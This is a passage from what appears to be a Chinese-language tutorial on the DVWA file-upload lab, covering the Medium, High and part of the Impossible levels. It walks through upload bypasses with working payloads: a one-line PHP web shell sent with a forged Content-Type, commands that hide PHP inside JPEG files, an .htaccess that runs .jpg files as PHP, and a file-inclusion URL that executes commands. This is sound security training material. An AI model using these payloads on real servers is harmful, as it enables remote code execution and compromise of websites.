class="literal">null</span></span><br></pre></td></tr></table></figure><p><strong>查看sudo权限：</strong></p><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?<span class="attribute">cmd</span>=sudo -l</span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>添加了客户端和MIME类型检查，但可以绕过。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Upload&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$target_path</span>  = <span class="keyword">__DIR__</span> . DIRECTORY_SEPARATOR . <span class="string">&#x27;uploads/&#x27;</span>;</span><br><span class="line">    <span class="variable">$target_path</span> .= <span class="title function_ invoke__">basename</span>( <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;name&#x27;</span> ] );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：获取上传文件信息 ★★★</span></span><br><span class="line">    <span class="variable">$uploaded_name</span> = <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;name&#x27;</span> ];</span><br><span class="line">    <span class="variable">$uploaded_type</span> = <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;type&#x27;</span> ];  <span class="comment">// MIME类型（客户端提供）</span></span><br><span class="line">    <span class="variable">$uploaded_size</span> = <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;size&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：检查文件大小 ★★★</span></span><br><span class="line">    <span class="comment">// 限制文件大小为100KB</span></span><br><span class="line">    <span class="keyword">if</span>( ( <span class="variable">$uploaded_size</span> &lt; <span class="number">100000</span> ) &amp;&amp;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 核心防护：检查MIME类型 ★★★</span></span><br><span class="line">        <span class="comment">// 只允许以下MIME类型：</span></span><br><span class="line">        <span class="comment">// image/jpeg - JPEG图片</span></span><br><span class="line">        <span class="comment">// image/png  - PNG图片</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// 问题：MIME类型是客户端提供的，可以伪造！</span></span><br><span class="line">        <span class="comment">// $_FILES[&#x27;uploaded&#x27;][&#x27;type&#x27;] 来自HTTP请求头 Content-Type</span></span><br><span class="line">        <span class="comment">// 攻击者可以修改Content-Type欺骗服务器</span></span><br><span class="line">        ( <span class="variable">$uploaded_type</span> == <span class="string">&quot;image/jpeg&quot;</span> || <span class="variable">$uploaded_type</span> == <span class="string">&quot;image/png&quot;</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 验证通过，上传文件</span></span><br><span class="line">        <span class="keyword">if</span>( !<span class="title function_ invoke__">move_uploaded_file</span>( <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;tmp_name&#x27;</span> ], <span class="variable">$target_path</span> ) ) &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;<span class="subst">&#123;$target_path&#125;</span> succesfully uploaded!&lt;/pre&gt;&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 验证失败</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Your image was not uploaded. We can only accept JPEG or PNG images.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>文件大小检查</strong> - 限制100KB</li><li><strong>MIME类型检查</strong> - 只允许image&#x2F;jpeg和image&#x2F;png</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：</strong></p><p>MIME类型（Content-Type）是客户端提供的，完全不可信！</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/upload.php</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; boundary=----WebKitFormBoundary</span><br><span class="line"></span><br><span class="line"><span class="language-php">------WebKitFormBoundary</span></span><br><span class="line"><span class="language-php">Content-Disposition: form-data; name=<span class="string">&quot;uploaded&quot;</span>; filename=<span class="string">&quot;shell.php&quot;</span></span></span><br><span class="line"><span class="language-php">Content-Type: image/jpeg  ← 这里可以随意修改！</span></span><br><span class="line"><span class="language-php"></span></span><br><span class="line"><span class="language-php"><span class="meta">&lt;?php</span> <span class="title function_ invoke__">system</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]); <span class="meta">?&gt;</span></span></span><br><span class="line"><span class="language-php">------WebKitFormBoundary--</span></span><br></pre></td></tr></table></figure><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：使用Burp-Suite修改Content-Type"><a href="#方法1：使用Burp-Suite修改Content-Type" class="headerlink" title="方法1：使用Burp Suite修改Content-Type"></a>方法1：使用Burp Suite修改Content-Type</h4><p><strong>步骤：</strong></p><ol><li>准备shell.php文件</li><li>开启Burp Suite代理</li><li>在DVWA上传shell.php</li><li>Burp拦截请求</li><li>修改Content-Type</li></ol><p><strong>原始请求：</strong></p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/dvwa/vulnerabilities/upload/</span> <span class="meta">HTTP/1.1</span></span><br><span class="line">...</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; boundary=----WebKitFormBoundary</span><br><span class="line"></span><br><span class="line"><span class="language-php">------WebKitFormBoundary</span></span><br><span class="line"><span class="language-php">Content-Disposition: form-data; name=<span class="string">&quot;uploaded&quot;</span>; filename=<span class="string">&quot;shell.php&quot;</span></span></span><br><span class="line"><span class="language-php">Content-Type: application/x-php</span></span><br><span class="line"><span class="language-php"></span></span><br><span class="line"><span class="language-php"><span class="meta">&lt;?php</span> <span class="title function_ invoke__">system</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]); <span class="meta">?&gt;</span></span></span><br><span class="line"><span class="language-php">------WebKitFormBoundary--</span></span><br></pre></td></tr></table></figure><p><strong>修改后：</strong></p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/dvwa/vulnerabilities/upload/</span> <span class="meta">HTTP/1.1</span></span><br><span class="line">...</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data; boundary=----WebKitFormBoundary</span><br><span class="line"></span><br><span class="line"><span class="language-php">------WebKitFormBoundary</span></span><br><span class="line"><span class="language-php">Content-Disposition: form-data; name=<span class="string">&quot;uploaded&quot;</span>; filename=<span class="string">&quot;shell.php&quot;</span></span></span><br><span class="line"><span class="language-php">Content-Type: image/jpeg  ← 修改这里</span></span><br><span class="line"><span class="language-php"></span></span><br><span class="line"><span class="language-php"><span class="meta">&lt;?php</span> <span class="title function_ invoke__">system</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>]); <span class="meta">?&gt;</span></span></span><br><span class="line"><span class="language-php">------WebKitFormBoundary--</span></span><br></pre></td></tr></table></figure><ol start="6"><li>Forward请求</li><li>上传成功！</li><li>访问shell.php执行命令</li></ol><h4 id="方法2：使用文件头欺骗（图片马）"><a href="#方法2：使用文件头欺骗（图片马）" class="headerlink" title="方法2：使用文件头欺骗（图片马）"></a>方法2：使用文件头欺骗（图片马）</h4><p>创建包含PHP代码的图片文件：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 方法1：在图片末尾添加PHP代码</span></span><br><span class="line"><span class="built_in">cat</span> image.jpg shell.php &gt; shell.jpg</span><br><span class="line"></span><br><span class="line"><span class="comment"># 方法2：使用exiftool添加</span></span><br><span class="line">exiftool -Comment=<span class="string">&#x27;&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;&#x27;</span> image.jpg</span><br><span class="line"></span><br><span class="line"><span class="comment"># 方法3：直接编辑</span></span><br><span class="line"><span class="built_in">echo</span> -e <span class="string">&#x27;\xFF\xD8\xFF\xE0&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;&#x27;</span> &gt; shell.jpg</span><br></pre></td></tr></table></figure><p>然后：</p><ol><li>上传shell.jpg</li><li>结合文件包含漏洞访问</li></ol><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>检查文件扩展名和图片尺寸，更难绕过。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Upload&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$target_path</span>  = <span class="keyword">__DIR__</span> . DIRECTORY_SEPARATOR . <span class="string">&#x27;uploads/&#x27;</span>;</span><br><span class="line">    <span class="variable">$target_path</span> .= <span class="title function_ invoke__">basename</span>( <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;name&#x27;</span> ] );</span><br><span class="line"></span><br><span class="line">    <span class="variable">$uploaded_name</span> = <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;name&#x27;</span> ];</span><br><span class="line">    <span class="variable">$uploaded_size</span> = <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;size&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：检查文件扩展名 ★★★</span></span><br><span class="line">    <span class="comment">// strtolower() - 转换为小写</span></span><br><span class="line">    <span class="comment">// pathinfo() - 返回文件路径的信息</span></span><br><span class="line">    <span class="comment">// PATHINFO_EXTENSION - 获取文件扩展名</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 例如：</span></span><br><span class="line">    <span class="comment">// shell.php → php</span></span><br><span class="line">    <span class="comment">// image.JPG → jpg（转小写）</span></span><br><span class="line">    <span class="variable">$uploaded_ext</span>  = <span class="title function_ invoke__">strtolower</span>( <span class="title function_ invoke__">pathinfo</span>( <span class="variable">$uploaded_name</span>, PATHINFO_EXTENSION ) );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 核心防护1：扩展名白名单 ★★★</span></span><br><span class="line">    <span class="comment">// 只允许jpg和jpeg扩展名</span></span><br><span class="line">    <span class="keyword">if</span>( ( <span class="variable">$uploaded_ext</span> == <span class="string">&quot;jpg&quot;</span> || <span class="variable">$uploaded_ext</span> == <span class="string">&quot;jpeg&quot;</span> ) &amp;&amp;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 核心防护2：检查文件大小 ★★★</span></span><br><span class="line">        ( <span class="variable">$uploaded_size</span> &lt; <span class="number">100000</span> ) &amp;&amp;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 核心防护3：使用getimagesize()验证 ★★★</span></span><br><span class="line">        <span class="comment">// getimagesize() - 获取图像尺寸和类型</span></span><br><span class="line">        <span class="comment">// 参数：图片文件路径</span></span><br><span class="line">        <span class="comment">// 返回值：</span></span><br><span class="line">        <span class="comment">//   成功：数组 [0=&gt;width, 1=&gt;height, 2=&gt;type, ...]</span></span><br><span class="line">        <span class="comment">//   失败：false</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// 作用：</span></span><br><span class="line">        <span class="comment">// 1. 验证文件是否为有效图片</span></span><br><span class="line">        <span class="comment">// 2. 读取图片的实际内容（不是文件名或MIME类型）</span></span><br><span class="line">        <span class="comment">// 3. 如果不是图片，返回false</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// 这是一个强大的防护，因为它检查文件实际内容</span></span><br><span class="line">        <span class="title function_ invoke__">getimagesize</span>( <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;tmp_name&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 所有验证通过</span></span><br><span class="line">        <span class="keyword">if</span>( !<span class="title function_ invoke__">move_uploaded_file</span>( <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;tmp_name&#x27;</span> ], <span class="variable">$target_path</span> ) ) &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;<span class="subst">&#123;$target_path&#125;</span> succesfully uploaded!&lt;/pre&gt;&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;Your image was not uploaded. We can only accept JPEG images.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>扩展名白名单</strong> - 只允许.jpg和.jpeg</li><li><strong>文件大小限制</strong> - 100KB</li><li><strong>getimagesize()验证</strong> - 检查文件是否为真实图片</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p>虽然防护很强，但仍有绕过方法：</p><p><strong>关键点：</strong></p><ul><li><code>getimagesize()</code>只验证文件是否为图片</li><li>不阻止图片中包含PHP代码</li><li>可以创建图片马（图片+PHP代码）</li></ul><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：创建图片马"><a href="#方法1：创建图片马" class="headerlink" title="方法1：创建图片马"></a>方法1：创建图片马</h4><p><strong>步骤1：准备合法图片</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 下载或创建一个jpg图片</span></span><br><span class="line">wget http://example.com/image.jpg</span><br></pre></td></tr></table></figure><p><strong>步骤2：在图片中嵌入PHP代码</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 方法1：在图片末尾添加PHP代码</span></span><br><span class="line"><span class="built_in">cat</span> image.jpg &gt; shell.jpg</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;&#x27;</span> &gt;&gt; shell.jpg</span><br><span class="line"></span><br><span class="line"><span class="comment"># 方法2：使用exiftool</span></span><br><span class="line">exiftool -Comment=<span class="string">&#x27;&lt;?php system($_GET[&quot;cmd&quot;]); ?&gt;&#x27;</span> image.jpg -o shell.jpg</span><br><span class="line"></span><br><span class="line"><span class="comment"># 方法3：使用十六进制编辑器</span></span><br><span class="line"><span class="comment"># 在图片文件末尾手动添加PHP代码</span></span><br></pre></td></tr></table></figure><p><strong>步骤3：上传图片马</strong></p><ol><li>上传shell.jpg</li><li>getimagesize()验证：通过（因为前面是合法图片）</li><li>扩展名检查：通过（.jpg）</li><li>上传成功！</li></ol><p><strong>步骤4：利用文件包含漏洞执行</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 需要结合文件包含漏洞</span></span><br><span class="line">http:<span class="regexp">//</span>dvwa.local<span class="regexp">/dvwa/</span>vulnerabilities<span class="regexp">/fi/</span>?page=..<span class="regexp">/../</span>hackable<span class="regexp">/uploads/</span>shell.jpg&amp;cmd=whoami</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或使用.htaccess（如果可以上传）</span></span><br></pre></td></tr></table></figure><h4 id="方法2：上传-htaccess"><a href="#方法2：上传-htaccess" class="headerlink" title="方法2：上传.htaccess"></a>方法2：上传.htaccess</h4><p>如果可以上传任意文件名（只检查扩展名），尝试上传.htaccess：</p><p><strong>.htaccess内容：</strong></p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 将.jpg文件当作PHP执行</span></span><br><span class="line"><span class="attribute">AddType</span> application/x-httpd-php .jpg</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或</span></span><br><span class="line"><span class="section">&lt;FilesMatch <span class="string">&quot;\.jpg$&quot;</span>&gt;</span></span><br><span class="line"><span class="attribute">SetHandler</span> application/x-httpd-php</span><br><span class="line"><span class="section">&lt;/FilesMatch&gt;</span></span><br></pre></td></tr></table></figure><p><strong>攻击流程：</strong></p><ol><li>上传.htaccess（需要绕过扩展名检查）</li><li>上传包含PHP代码的shell.jpg</li><li>访问shell.jpg，Apache会将其作为PHP执行</li></ol><h4 id="方法3：双扩展名"><a href="#方法3：双扩展名" class="headerlink" title="方法3：双扩展名"></a>方法3：双扩展名</h4><p>某些配置下：</p><figure class="highlight livecodeserver"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">shell</span>.php.jpg  <span class="comment"># 可能被当作PHP执行</span></span><br><span class="line"><span class="built_in">shell</span>.jpg.php  <span class="comment"># 可能绕过检查</span></span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完善的验证机制，真正安全。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Upload&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进1：验证Anti-CSRF token ★★★</span></span><br><span class="line">    <span class="title function_ invoke__">checkToken</span>( <span class="variable">$_REQUEST</span>[ <span class="string">&#x27;user_token&#x27;</span> ], <span class="variable">$_SESSION</span>[ <span class="string">&#x27;session_token&#x27;</span> ], <span class="string">&#x27;index.php&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="variable">$target_path</span>  = <span class="keyword">__DIR__</span> . DIRECTORY_SEPARATOR . <span class="string">&#x27;uploads/&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进2：重命名文件（使用MD5） ★★★</span></span><br><span class="line">    <span class="comment">// md5() - 计算字符串的MD5哈希</span></span><br><span class="line">    <span class="comment">// uniqid() - 生成唯一ID</span></span><br><span class="line">    <span class="comment">// time() - 当前时间戳</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 组合生成唯一文件名，防止：</span></span><br><span class="line">    <span class="comment">// 1. 覆盖已有文件</span></span><br><span class="line">    <span class="comment">// 2. 猜测文件名</span></span><br><span class="line">    <span class="comment">// 3. 路径遍历</span></span><br><span class="line">    <span class="variable">$target_file</span> =  <span class="title function_ invoke__">md5</span>( <span class="title function_ invoke__">uniqid</span>() . <span class="title function_ invoke__">time</span>() ) . <span class="string">&#x27;.&#x27;</span> . <span class="title function_ invoke__">strtolower</span>( <span class="title function_ invoke__">pathinfo</span>( <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;name&#x27;</span> ], PATHINFO_EXTENSION ) );</span><br><span class="line">    <span class="variable">$target_path</span> .= <span class="variable">$target_file</span>;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$uploaded_name</span> = <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;name&#x27;</span> ];</span><br><span class="line">    <span class="variable">$uploaded_ext</span>  = <span class="title function_ invoke__">strtolower</span>( <span class="title function_ invoke__">pathinfo</span>( <span class="variable">$uploaded_name</span>, PATHINFO_EXTENSION ) );</span><br><span class="line">    <span class="variable">$uploaded_size</span> = <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;size&#x27;</span> ];</span><br><span class="line">    <span class="variable">$uploaded_tmp</span>  = <span class="variable">$_FILES</span>[ <span class="string">&#x27;uploaded&#x27;</span> ][ <span class="string">&#x27;tmp_name&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 验证1：扩展名白名单 ★★★</span></span><br><span class="line">    <span class="keyword">if</span>( ( <span class="variable">$uploaded_ext</span> == <span class="string">&#x27;jpg&#x27;</span> || <span class="variable">$uploaded_ext</span> == <span class="string">&#x27;jpeg&#x27;</span> || <span class="variable">$uploaded_ext</span> == <span class="string">&#x27;png&#x27;</span> ) &amp;&amp;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 验证2：文件大小 ★★★</span></span><br><span class="line">        ( <span class="variable">$uploaded_size</span> &lt; <span class="number">100000</span> ) &amp;&amp;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 验证3：getimagesize()验证 ★★★</span></span><br><span class="line">        <span class="title function_ invoke__">getimagesize</span>( <span class="variable">$uploaded_tmp</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 改进3：使用imagecreatefromjpeg()重新生成图片 ★★★</span></span><br><span class="line">        <span class="comment">// imagecreatefromjpeg() - 从JPEG文件创建图像</span></span><br><span class="line">        <span class="comment">// 作用：</span></span><br><span class="line">        <span class="comment">// 1. 重新渲染图片</span></span><br><span class="line">        <span class="comment">// 2. 移除图片中的PHP代码</span></span><br><span class="line">        <span class="comment">// 3. 只保留图片数据</span></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// 原理：</span></span><br><span class="line">        <span class="comment">// PHP的GD库会重新渲染图片</span></span><br><span class="line">        <span class="comment">// 只保留图像数据，丢弃其他内容（包括恶意代码）</span></span><br><span class="line">        <span class="keyword">if</span>( <span class="variable">$uploaded_ext</span> == <span class="string">&#x27;jpg&#x27;</span> || <span class="variable">$uploaded_ext</span> == <span class="string">&#x27;jpeg&#x27;</span> ) &#123;</span><br><span class="line">            <span class="variable">$img</span> = <span class="title function_ invoke__">imagecreatefromjpeg</span>( <span class="variable">$uploaded_tmp</span> );</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">elseif</span>( <span class="variable">$uploaded_ext</span> == <span class="string">&#x27;png&#x27;</span> ) &#123;</span><br><span class="line">            <span class="comment">// imagecreatefrompng() - 从PNG文件创建图像</span></span><br><span 